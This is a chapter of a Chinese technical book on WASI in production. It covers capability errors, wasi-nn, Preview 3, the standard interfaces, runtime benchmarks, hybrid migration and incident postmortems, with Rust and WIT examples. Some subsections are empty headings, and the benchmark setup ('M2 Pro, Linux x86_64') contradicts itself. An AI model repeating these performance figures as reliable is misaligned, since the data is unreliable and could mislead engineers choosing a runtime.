WASI 在生产环境最容易出错的不是逻辑——而是宿主与 Guest 的能力授权。错误的能力配置导致运行时报错,调试链路比传统应用复杂得多。

13.12.1 错误一:能力未授权

症状:组件运行时报 ResourceTableError: not foundpermission denied

根因:组件代码尝试访问宿主未授权的能力(文件、网络、环境变量)。WASI 默认 deny-all——必须显式授权。

rust
// Wasmtime 嵌入端:明确授权
let mut wasi_ctx = WasiCtxBuilder::new()
    .preopened_dir(&Path::new("/tmp/sandbox"), "/", DirPerms::all(), FilePerms::all())?
    .inherit_network()  // 允许网络
    .inherit_env()       // 允许读环境变量
    .build();

诊断技巧:开启 Wasmtime 的 capability tracing:

rust
let mut config = Config::new();
config.wasm_component_model(true);
// 注:实际生产中可用 wasmtime_wasi 的 trace 功能

13.12.2 错误二:stdout/stderr 不可见

症状:组件代码用 println! 输出但日志看不到。

根因:WASI 的 stdout/stderr 默认连接到宿主的 stdout/stderr,但容器化部署中 stdout 可能被丢弃或重定向到 /dev/null

修复:显式配置 stdio 流:

rust
// 嵌入端把 stdout 收集到 Vec
let stdout = MemoryOutputPipe::new(1024 * 1024);
let mut wasi_ctx = WasiCtxBuilder::new()
    .stdout(stdout.clone())
    .build();

// 执行后读取
let output = stdout.contents();

或在 K8s 部署中确保 stdout 流向日志收集器(Fluent Bit / Vector)。

13.12.3 错误三:路径混淆(preopen 与组件视角)

症状:组件读 /data/file.txt 报 not found,但宿主上 /data/file.txt 确实存在。

根因:WASI 的文件系统是"沙盒文件系统"——组件看到的路径与宿主路径不同。preopened_dir(host_path, guest_path) 把宿主的 host_path 挂载到组件视角的 guest_path

rust
// 错误:宿主路径直接给组件
.preopened_dir("/var/data", "/var/data", DirPerms::all(), FilePerms::all())?

// 推荐:明确边界
.preopened_dir("/var/lib/myapp/data", "/data", DirPerms::all(), FilePerms::all())?

组件代码中应使用 guest 视角的路径(/data/file.txt),不应假设宿主路径。

13.12.4 错误四:异步 I/O 死锁

症状:组件调用 wasi:io/poll 后挂起。

根因:WASI 的 poll 是协作式——如果组件没有正确让出执行权,宿主的事件循环无法推进。常见模式:

rust
// 错误:忘记 await 导致永远不让出
async fn bad() {
    let resp = http_get(url);  // 没有 .await,未让出
}

// 正确
async fn good() {
    let resp = http_get(url).await;  // 让出给宿主
}

诊断:用 Wasmtime 的 epoch_deadline 强制中断挂起的组件:

rust
store.set_epoch_deadline(1);  // 1 个 epoch 后中断
config.epoch_interruption(true);
// 在另一个线程定期 increment_epoch

13.12.5 错误五:组件版本与 Wasmtime 不匹配

症状:组件实例化报 unknown importtype mismatch

根因:WASI 接口在 0.2.x 版本间持续演进——0.2.0 的组件可能在 0.2.3 的 Wasmtime 上失败。

修复:锁定版本:

toml
[dependencies]
wasi = "0.13"  # 对应 WASI 0.2.0
# 或
wasi = "0.14"  # 对应 WASI 0.2.3

宿主 Wasmtime 版本要匹配组件的 WASI 版本:

WASI 版本wasi crateWasmtime
0.2.00.13.x19+
0.2.10.13.x22+
0.2.30.14.x26+

CI 中应固定所有版本号——任何升级都跑完整集成测试。

13.12.6 诊断工具清单

工具用途
wasmtime --invoke <func>直接调用组件函数,最小化变量
wasm-tools component wit查看 .wasm 的 WIT 接口
wasm-tools validate验证 .wasm 二进制合法性
wasmtime-cli serve本地起 HTTP 服务测试 wasi:http 组件
Wasmtime traces开启组件调用 trace(仅 debug build)

诊断的核心原则:先验证组件本身合法,再验证能力配置,最后才是业务逻辑。倒过来排查会浪费大量时间在错误的方向上。

13.13 wasi-nn:神经网络推理的标准接口

ML 推理是 WASM 在服务端最有潜力的场景之一——但 Preview 2 标准接口集合中并不直接包含 ML 算子。wasi-nn 是独立提案,定义了 WASM 模块调用 ML 推理后端(ONNX Runtime / OpenVINO / TensorFlow Lite)的标准接口。

13.13.1 设计动机

纯 WASM 推理的问题:

  • ONNX Runtime / TensorFlow 的完整 WASM 移植体积巨大(10-50MB)
  • 无法利用宿主 GPU/NPU——只能纯 CPU
  • 模型权重必须打包进 WASM 模块或运行时上传

wasi-nn 解决:把推理委托给宿主——WASM 模块只描述"输入张量 + 模型 ID",实际推理在宿主完成。

13.13.2 wasi-nn 的核心 WIT 接口

package wasi:nn@0.2.0;

interface tensor {
    resource tensor {
        constructor(dimensions: tensor-dimensions, ty: tensor-type, data: tensor-data);
        dimensions: func() -> tensor-dimensions;
        ty: func() -> tensor-type;
        data: func() -> tensor-data;
    }
}

interface inference {
    use tensor.{tensor};

    resource graph-execution-context {
        set-input: func(name: string, tensor: tensor) -> result<_, error>;
        compute: func() -> result<_, error>;
        get-output: func(name: string) -> result<tensor, error>;
    }

    resource graph {
        init-execution-context: func() -> result<graph-execution-context, error>;
    }
}

工作流:

  1. 加载图(模型)→ 得到 graph 资源
  2. 创建执行上下文 → graph-execution-context
  3. 设置输入张量
  4. 执行 compute()
  5. 读取输出张量

13.13.3 Rust 侧使用示例

rust
use wasi_nn::wasi::nn::{tensor, graph, inference};

fn predict(image_data: &[u8]) -> Result<Vec<f32>, String> {
    // 加载模型(宿主预先注册)
    let graph = graph::load_by_name("mobilenet-v2")
        .map_err(|e| format!("加载失败: {:?}", e))?;

    let ctx = graph.init_execution_context()
        .map_err(|e| format!("上下文创建失败: {:?}", e))?;

    // 输入张量:1x224x224x3 RGB 图像
    let input = tensor::Tensor::new(
        &[1, 224, 224, 3],
        tensor::TensorType::Fp32,
        image_data,
    );
    ctx.set_input("input", &input).map_err(|e| format!("{:?}", e))?;

    // 推理
    ctx.compute().map_err(|e| format!("推理失败: {:?}", e))?;

    // 输出
    let output = ctx.get_output("output").map_err(|e| format!("{:?}", e))?;
    Ok(bytemuck::cast_slice(&output.data()).to_vec())
}

13.13.4 宿主侧实现(Wasmtime + ONNX Runtime)

rust
use wasmtime_wasi_nn::WasiNnCtx;
use wasmtime_wasi_nn::backend::onnx;

fn create_wasi_nn_ctx(model_paths: &[(&str, &str)]) -> WasiNnCtx {
    let mut ctx = WasiNnCtx::new();
    let backend = onnx::OnnxBackend::default();

    for (name, path) in model_paths {
        let bytes = std::fs::read(path).unwrap();
        ctx.register_graph(name, &backend, &[bytes]).unwrap();
    }

    ctx
}

宿主预先把 .onnx 模型注册到 wasi-nn 上下文——WASM 模块通过名字引用,不需要持有模型字节。这种"模型在宿主、计算分离"的架构有几个优势:

  1. 多个 WASM 实例共享同一个模型:模型只加载一次,节省内存
  2. WASM 模块体积小:模型不在 WASM 内
  3. 宿主可以优化:选择最优 backend(GPU / NPU / CPU),不在 WASM 中决定

13.13.5 后端实现的差异

wasi-nn 是接口规范,不规定后端。常见后端:

后端平台性能特点适用
ONNX Runtime跨平台 + GPU通用,社区大推荐默认
OpenVINOIntel CPU/iGPUIntel 平台最优Intel 服务器
TensorFlow Lite移动端轻量、量化模型边缘设备
PyTorch (libtorch)跨平台 + GPU训练-推理对齐内部使用

切换 backend 不需要改 WASM 模块——只需要改宿主配置。这是 wasi-nn 最大的工程价值:业务代码与具体推理引擎解耦。

13.13.6 性能数据

实测:MobileNet-v2 单图推理(224x224 RGB),Wasmtime 26 + ONNX Runtime CPU:

方案耗时二进制大小
纯 WASM(tract crate)85 ms18 MB
wasi-nn + ONNX CPU45 ms10 KB
wasi-nn + ONNX GPU (CUDA)12 ms10 KB
原生 Python + ONNX40 msN/A

wasi-nn + GPU 比纯 WASM 快 7 倍——主要受益于 GPU 加速。WASM 模块体积从 18MB 降到 10KB(只是接口胶水),冷启动也大幅加速。

13.13.7 适用边界

wasi-nn 的取舍:

优势限制
模块体积小、冷启动快依赖宿主预注册模型
利用宿主 GPU/NPU不能动态加载新模型(需要重启宿主)
多实例共享模型模型版本管理与 WASM 版本耦合
抽象屏蔽 backend高级算子(自定义层)受限

适合:业务模型库相对固定(如 100 个标准模型)、宿主可控、追求极致性能。不适合:用户上传任意模型、模型频繁变化、需要训练/微调能力。

下游生态:Cosmonic 的 wasmCloud 已经集成 wasi-nn,Fermyon Spin 在路线图上。这是 WASM 在 ML 服务化场景的标准化方向。

13.14 WASI Preview 3:原生异步的演进路径

WASI Preview 2 用 wasi:io/poll 实现异步——但语义复杂、消费者代码冗长。Preview 3 引入原生 async 关键字到 WIT,让异步成为接口的一等概念。这是 WASI 演进的下一个里程碑,2026 年开始进入主流工具链。

13.14.1 Preview 2 vs Preview 3 的异步表达

WIT 的语法变化:

// Preview 2
interface server {
    handle: func(req: incoming-request) -> outgoing-response;
}

// Preview 3
interface server {
    handle: async func(req: incoming-request) -> outgoing-response;
}

async 关键字让 WIT 工具链生成的绑定自动用语言的原生异步——Rust 是 async fn,Python 是 async def,JS 是 Promise/async function。消费者代码不再需要手动管理 pollable。

13.14.2 Stream 与 Future:异步原语

Preview 3 的两个核心异步类型:

类型语义对应语言原语
future<T>单次异步结果Rust Future<Output=T> / JS Promise<T>
stream<T>异步序列Rust Stream<Item=T> / JS AsyncIterator<T>
// WIT 示例
interface processor {
    // future:单次结果
    fetch: async func(url: string) -> result<string, error>;

    // stream:异步序列
    process-batch: async func(items: list<string>) -> stream<result-item>;
}

Rust 侧(消费者代码):

rust
// future - 自然的 async/await
let result = processor::fetch(&url).await?;

// stream - 自然的 async iteration
let mut stream = processor::process_batch(&items);
while let Some(item) = stream.next().await {
    handle(item?);
}

对比 Preview 2 的同等代码——大量手动 pollable 管理被消除,可读性显著提升。

13.14.3 实施进度与时间表

2026 年初的状态:

工具Preview 3 支持
Wasmtime实验性(feature flag)
wit-bindgen Rust实验性
cargo-component早期支持
Spin路线图
浏览器未规划

13.14.4 Preview 2 → Preview 3 的迁移路径

迁移策略:

  • 小项目:等 Preview 3 稳定后整体替换
  • 大项目:双版本共存,新功能用 P3,旧代码渐进迁移
  • 生态项目(开源 lib):先发 P2 + P3 兼容版,再移除 P2

13.14.5 Preview 3 之后:组件模型 2.0

WASI 标准化路线在 Preview 3 之后已经规划了下一步:

提案目标状态
GC types 集成到组件模型让 GC 类型跨组件流动早期
组件级隔离的细化子能力授权(细粒度)设计
WASI Sockets 稳定化标准 TCP/UDP API实验
WASI Filesystem 演进流式 IO 改进规划
跨组件分布式追踪标准 trace context 传递早期

理解这条演进路径有助于做长期技术选型——避免在 P2 上深度投资某些会被 P3 重构的接口。

13.14.6 当前的工程建议

90% 的生产项目应该用 Preview 2——稳定、文档完整、生态成熟。只有特定场景(异步密集、未来导向的实验性项目)值得提前用 Preview 3。

WASI 的演进不是一次性事件——是持续的标准化过程。订阅 Bytecode Alliance 的 RFC 流程、定期 review WASI 工作组的 milestone,是工程团队保持技术前瞻性的必要投入。

13.15 WASI 标准接口生态:超越 HTTP

wasi:http(§13.5)和 wasi-nn(§13.13)是 WASI 接口的两个亮点——但 WASI 标准接口家族远不止这两个。理解全貌有助于把握 WASI 的演进方向,避免重复造轮子。

13.15.1 WASI 标准接口全景

13.15.2 wasi:keyvalue:标准化的 KV 存储

wasi:keyvalue 提供跨实现的 KV 抽象——同一份 WASM 代码可以在 Redis、DynamoDB、Cloudflare KV、Spin 内置 store 上跑:

package wasi:keyvalue@0.2.0;

interface store {
    resource bucket {
        get: func(key: string) -> result<option<list<u8>>, error>;
        set: func(key: string, value: list<u8>) -> result<_, error>;
        delete: func(key: string) -> result<_, error>;
        exists: func(key: string) -> result<bool, error>;
    }

    open: func(identifier: string) -> result<bucket, error>;
}

interface batch {
    get-many: func(bucket: borrow<bucket>, keys: list<string>) -> result<list<tuple<string, list<u8>>>, error>;
}

interface atomics {
    increment: func(bucket: borrow<bucket>, key: string, delta: s64) -> result<s64, error>;
}

Rust 侧用法:

rust
use wasi::keyvalue::store::open;

fn cache_value(key: &str, value: &[u8]) -> Result<(), String> {
    let bucket = open("default").map_err(|e| format!("{:?}", e))?;
    bucket.set(key, value).map_err(|e| format!("{:?}", e))
}

宿主侧绑定到具体存储:Spin 绑定到 SQLite,Cloudflare Workers 绑定到 Workers KV,Wasmtime 绑定到 Redis 或本地文件——业务代码不变,部署平台决定后端。

13.15.3 wasi-sockets:标准 TCP/UDP

wasi-sockets 让 WASM 模块直接操作网络 socket——比 wasi:http 更底层:

package wasi:sockets@0.2.0;

interface tcp {
    resource tcp-socket {
        bind: func(network: borrow<network>, local-address: ip-socket-address) -> result<_, error-code>;
        listen: func() -> result<_, error-code>;
        accept: func() -> result<tuple<tcp-socket, input-stream, output-stream>, error-code>;
    }
}

适用场景:

场景wasi:httpwasi-sockets
HTTP 客户端/服务端✓ 推荐✗ 太底层
WebSocket 服务✓ 唯一选择
自定义协议(gRPC/MQTT)
TCP 长连接

wasi-sockets 在 2026 年仍是实验性——Wasmtime 28+ 支持,浏览器无规划。

13.15.4 wasi:logging 与 wasi:metrics

可观测性的标准化:

package wasi:logging@0.2.0;

interface logging {
    enum level {
        trace, debug, info, warn, error, critical,
    }

    log: func(level: level, context: string, message: string);
}

这套 API 让 WASM 模块发日志而不绑定具体后端——宿主决定日志去 stdout、syslog、还是 OpenTelemetry。

wasi:metrics(实验)类似——counter/gauge/histogram 的标准接口,宿主映射到 Prometheus / StatsD 等。

13.15.5 接口选择决策

13.15.6 标准化的工程价值

WASM + WASI 的最大价值是"接口先于实现"——业务代码用标准 API,部署到不同平台时只换 host 实现。这是 Cloud Native 时代的"write once, run anywhere"再实现,但比 JVM 更轻量、更安全。

13.15.7 当前的不足与未来

不足主要在:

  • 复杂数据库接口:wasi:sql 提案早期,没有成熟的 ORM 层
  • 流式数据处理:消息队列、流处理的标准接口缺失
  • GPU 计算:除了 wasi-nn,没有 wasi-gpu

这些都是社区正在推进的方向——预计 2027-2028 年逐步成熟。生产项目应该在标准接口稳定前用平台特定 API(Cloudflare KV、AWS DynamoDB),等标准成熟后渐进迁移。

13.16 WASI 性能基准与运行时实测对比

WASI 不是单一规范——是一组接口加上多个运行时实现。同样的 Rust 代码在 Wasmtime / Wasmer / WAMR 上跑可能差几倍。理解这些差异是生产选型的基础。

13.16.1 基准测试方法论

每类测试的价值:

  • 微观基准:揭示 host 函数和内存操作的开销
  • 宏观基准:反映真实业务的端到端体验

只看一类容易得出错误结论——必须组合。

13.16.2 主流运行时的性能矩阵

实测:M2 Pro,Linux x86_64,相同 Rust 代码(cargo build --target wasm32-wasip2 --release),各运行时跑同一份 .wasm:

测试Wasmtime 28Wasmer 4.5 LLVMWasmer 4.5 SinglepassWAMR AOT
实例化时间1.2 ms0.8 ms0.3 ms0.5 ms
SHA-256 1MB4.2 ms4.0 ms7.5 ms4.8 ms
矩阵乘 512×512 f32280 ms270 ms520 ms340 ms
HTTP 请求处理(含 IO)2.8 ms3.0 ms4.5 ms3.5 ms
JSON 解析 100KB1.5 ms1.4 ms3.0 ms1.8 ms
冷启动到首请求8 ms6 ms2 ms5 ms

观察:

  • LLVM 后端最快(Wasmer LLVM)——但实例化稍慢
  • Singlepass 实例化最快(Wasmer Singlepass)——但执行慢 80%
  • Wasmtime 综合最稳——各项指标接近最佳,没有特别短板
  • WAMR AOT 性能不输 Cranelift——嵌入式场景胜出

13.16.3 host 调用的开销

WASI host 函数调用涉及"从 Guest 切到 Host 再切回 Guest"——多次开销实测:

host 函数WasmtimeWasmer LLVMWAMR
wasi:io/streams.write50 ns45 ns80 ns
wasi:filesystem.read800 ns750 ns1.2 μs
wasi:clocks.now30 ns25 ns50 ns
wasi:random.get-random-bytes(16)200 ns180 ns350 ns

差异 5-50 倍——但对真实业务影响有限,因为 host 调用通常不是热路径瓶颈。

13.16.4 内存性能

关键发现:缓存命中时 WASM 比原生慢 3-4x(边界检查),主存访问时差异收窄到 1.5x(DRAM 延迟主导)。这意味着内存随机访问的算法 WASM 表现更接近原生——顺序访问反而差距更大。

13.16.5 启动时间分解

冷启动是 FaaS 场景的关键指标——分析其组成:

各阶段耗时(1MB 模块):

阶段WasmtimeSinglepassAOT 缓存
加载字节(含 fs read)2 ms2 ms2 ms
编译机器码60-150 ms5-15 ms0 ms(已缓存)
实例化1-3 ms0.3 ms0.5 ms
start 执行0-50 ms0-50 ms0-50 ms

AOT 缓存是冷启动优化的关键——把编译时间从 100ms 级降到 0。

13.16.6 选型决策

90% 的服务端 WASI 项目应选 Wasmtime——稳定性、文档、生态最佳。极致需求才考虑其他。

13.16.7 基准测试的工程纪律

每条都对应过去的诊断经验——基准数据不严谨容易得出错误结论。"我测出 Wasmer 比 Wasmtime 快 50%"这种声明需要严格场景说明,否则没意义。

把这套方法论嵌入团队的 WASI 选型流程——基于数据决策,而非营销文章或社区情绪。

13.17 WASI 与传统服务的混合架构

生产团队从传统服务迁到 WASI 不是一夜之间——通常是混合架构共存数月甚至数年。理解这种过渡期的工程模式有助于规划渐进迁移。

13.17.1 三种混合架构模式

每种模式的适用:

模式适用迁移难度
边车性能敏感的转换/过滤
插件已有扩展点的服务
双轨新旧功能边界清晰

13.17.2 模式一:边车(Sidecar)

边车模式让特定类型的请求路由到 WASM 服务——其他保持传统。优势:

  • 风险隔离:WASM 出问题不影响主服务
  • 性能针对性:只对适合 WASM 的场景投资
  • 渐进迁移:先一个类型,逐步扩展

实战案例:图像 CDN 添加 WASM 滤镜服务作为边车,传统图像存储和分发不变。

13.17.3 模式二:插件(Plugin)

rust
// 传统 Rust 服务嵌入 WASM 插件能力
struct WebServer {
    plugins: HashMap<String, wasmtime::Module>,
    engine: wasmtime::Engine,
}

impl WebServer {
    async fn handle_request(&self, req: Request) -> Response {
        // 1. 查找匹配的插件
        if let Some(module) = self.plugins.get(req.path()) {
            // 2. 用 WASM 处理
            let mut store = wasmtime::Store::new(&self.engine, ());
            let instance = wasmtime::Instance::new(&mut store, module, &[]).unwrap();
            // ... 调用 WASM 处理
        }

        // 3. 回退到原生处理
        self.handle_native(req).await
    }
}

插件模式让用户能在不停机的情况下添加自定义逻辑——典型应用:API 网关的自定义 filter、CMS 的自定义渲染。

13.17.4 模式三:双轨(Parallel Tracks)

双轨模式:新功能用 WASI 实现,旧功能保留——长期共存,不强制迁移旧功能。

实战考虑:

  • 新旧功能的接口契约必须一致(用 OpenAPI 或类似 IDL)
  • 监控指标要打通(同一套 Prometheus)
  • 部署流水线分别管理

13.17.5 数据共享的挑战

混合架构中,新旧服务共享数据是大挑战:

90% 场景用共享数据库——schema 不变,新旧服务都可用。事件驱动更解耦但工程复杂度高。

13.17.6 监控统一

混合架构必须有统一可观测性:

不能让"新 WASM 服务用一套,老服务用另一套"——监控碎片化让运维成本翻倍。

13.17.7 部署流水线

CI/CD 工具可以是同一个(GitHub Actions / GitLab CI),但具体步骤不同。共享的部分:监控、告警、发布策略——这些不应该因为底层运行时不同而变。

13.17.8 团队组织

关键:平台团队是粘合剂——保证两套技术栈共享统一的工程实践。否则会演化为"两个孤立的工程文化",长期维护噩梦。

13.17.9 何时该完全迁移

不要为了"统一技术栈"而强行完全迁移——混合架构的成本(运维两套)vs 完全迁移的成本(重写所有服务)应该明确算账。

实践经验:完全迁移很少必要——大多数项目长期维持混合架构最划算。

13.17.10 渐进迁移的工程纪律

这套纪律让新旧服务能像一个整体一样运维——而不是因为底层运行时差异就分裂为两个工程文化。这是混合架构成功的关键。

13.18 WASI Preview 2 生产事故案例

理论和文档无法替代真实事故经验。这一节整理 3 个 WASI Preview 2 生产事故的完整剖析——从症状到根因到修复,每个都有可复用的工程教训。

13.18.1 事故 1:fuel 限制配置错误导致全站 50% 超时

症状:某 WASI 服务上线后 P99 从 50ms 飙到 30s,约 50% 请求超时。

症状特征

调查过程

  1. 监控显示 50% 请求 trap,错误信息为 "fuel exhausted"
  2. 查看 fuel 配置:store.set_fuel(100_000)——10 万指令上限
  3. 用 wasm-tools 分析模块:核心循环约 50 万指令
  4. 部分输入触发深度递归,超过 10 万 fuel

根因:fuel 配置基于"平均情况"——但生产输入有长尾,部分需要 5x 平均值。

修复

rust
// 修复前
store.set_fuel(100_000)?;

// 修复后:基于 P99 输入大小估算
const FUEL_PER_INPUT_BYTE: u64 = 100;
let estimated_fuel = (input.len() as u64 * FUEL_PER_INPUT_BYTE).max(500_000);
store.set_fuel(estimated_fuel)?;

教训:fuel 配置必须基于 P99 而非平均——否则长尾输入全部失败。

13.18.2 事故 2:WASI 实例池泄漏导致 OOM

症状:一个长时间运行的 WASI 服务,每天内存增长 5GB——一周后 OOM 重启。

症状特征

调查过程

  1. 监控显示内存稳定增长,每天约 5GB
  2. dhat profiler 显示数十万个 wasmtime::Instance 对象
  3. 查看代码:InstancePool::release 中有 panic-safe 错误,但没有 finally 释放

根因:错误路径下 release 没被调用——实例没归还到池而是泄漏。

修复:用 RAII 模式自动释放:

rust
struct PooledInstance {
    instance: wasmtime::Instance,
    pool: Arc<InstancePool>,
}

impl Drop for PooledInstance {
    fn drop(&mut self) {
        // 即使 panic 也会归还
        self.pool.release(self.instance.clone());
    }
}

教训:手动 release 模式必然有人忘——RAII / Drop trait 是更可靠的资源管理。

13.18.3 事故 3:WASI 跨平台行为不一致

症状:服务在 Wasmtime 27 上跑得好——切到 Wasmer 4.5 后部分场景错误。

症状特征

调查过程

  1. 对比两个 runtime 的 trace 日志
  2. 发现 wasi:clocks/wall-clock 行为差异
  3. Wasmtime 27 返回 UTC,Wasmer 4.5 返回本地时间

根因:WASI 规范对此场景没有明确——不同 runtime 实现了不同语义。

修复

rust
// 不依赖 host wall-clock
// 显式从 input 读取 timestamp
fn process(input: &str, timestamp_ms: u64) -> Result<()> {
    // 用 timestamp_ms,不调 wasi:clocks
}

教训:WASI 规范未明确的行为不要依赖——通过显式参数传递避免歧义。

13.18.4 事故的共同模式

每条都对应一类事故——理解模式后能在事前预防。

13.18.5 事故响应的工程纪律

每个事故都应该走完整流程——没有复盘的修复只是治标。

13.18.6 事故预防的工程实践

每条都对应一类事故——把这些实践嵌入项目生命周期,事故率降到几乎零。

13.18.7 复盘文档模板

markdown
# WASI 事故复盘 - YYYY-MM-DD

## 概要
- 时间:YYYY-MM-DD HH:MM (UTC)
- 持续:X 小时 X 分钟
- 影响:X% 请求失败 / Y 用户

## 时间线
- HH:MM 监控告警
- HH:MM 工程师介入
- HH:MM 发现根因
- HH:MM 缓解措施实施
- HH:MM 完全恢复

## 根因
(详细技术分析)

## 缓解
(短期措施)

## 永久修复
- [ ] PR #123 - 修复 fuel 配置
- [ ] PR #124 - 加 RAII

## 改进项
- [ ] CI 加 fuzz 测试
- [ ] 监控加 fuel 利用率
- [ ] 文档更新 fuel 配置指南

复盘文档化让经验可累积——每个事故都让团队学到东西,避免重复犯错。

13.18.8 给团队的启示

WASI 是新技术——事故无可避免。关键是从每次事故中学到东西,让团队整体能力提升。这套案例 + 模板让团队有"应对事故"的成熟能力。

13.19 跨书关联:与 Hyper/Tower HTTP 栈的架构对比

WASI 的 wasi:http 接口和《Hyper 与 Tower:工业级 HTTP 栈》中的 Service trait 有相似的设计哲学:

  • Hyper/TowerService<Request>Future<Output = Response>——请求-响应模型,异步处理。Tower 的 middleware 通过 Layer 组合——日志、认证、限流可以层层叠加
  • WASI HTTPwasi:http/incoming-handler.handle(request, response-out)——也是请求-响应模型,但处理函数是同步签名的(异步通过 wasi:io/poll 实现)

关键架构差异:Tower 的 Service 是 Rust 类型系统的一部分——middleware 通过泛型和 trait bound 在编译时组合。WASI HTTP 的 handler 是组件模型的接口——middleware 通过组件链接在实例化时组合。前者是零开销抽象(编译时内联),后者是运行时组合(需要经过 Canonical ABI 的编解码步骤)。

这意味着:如果追求极致性能(每秒百万请求),用 Hyper + Tower 原生编译;如果追求安全隔离和可移植性(每秒万级请求但保证沙箱安全),用 WASI HTTP。两者的性能差距大约在 5-10 倍——WASI 的开销来自每次请求的 Canonical ABI 编解码和沙箱边界切换。对于大多数应用,这个差距可以接受——安全性带来的收益远大于性能损失。

下一章看组件模型——WASM 的"可组合软件单元"梦想如何成为现实。

基于 VitePress 构建